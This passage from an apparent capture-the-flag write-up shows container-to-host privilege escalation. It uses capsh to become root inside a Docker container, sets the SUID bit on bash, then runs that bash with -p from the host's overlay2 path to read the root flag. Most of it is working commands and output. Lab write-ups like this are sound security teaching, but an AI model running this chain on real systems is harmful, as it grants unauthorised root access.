stands out from the above output. Searching GTFOBins we get this:
Following GFTO’s guidance:
1
2
3
www-data@50bca5e748b0:/tmp$ /sbin/capsh --gid=0 --uid=0 --
root@50bca5e748b0:/tmp# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
And we got root! Now, we can assign SUID
permissions to the bash binary:
1
2
3
4
5
# assign suid perms to bash binary
root@50bca5e748b0:/tmp# chmod u+s /bin/bash
# confirm permissions
root@50bca5e748b0:/tmp# ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
Finally, we can go back to marcus
SSH session and execute the bash binary using the -p
flag:
1
2
3
4
5
6
7
8
marcus@monitorstwo:~$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin$ ls -l bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 bash
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin$ ./bash -p
bash-5.1# id
uid=1000(marcus) gid=1000(marcus) euid=0(root) groups=1000(marcus)
bash-5.1# cat /root/root.txt
<SNIP>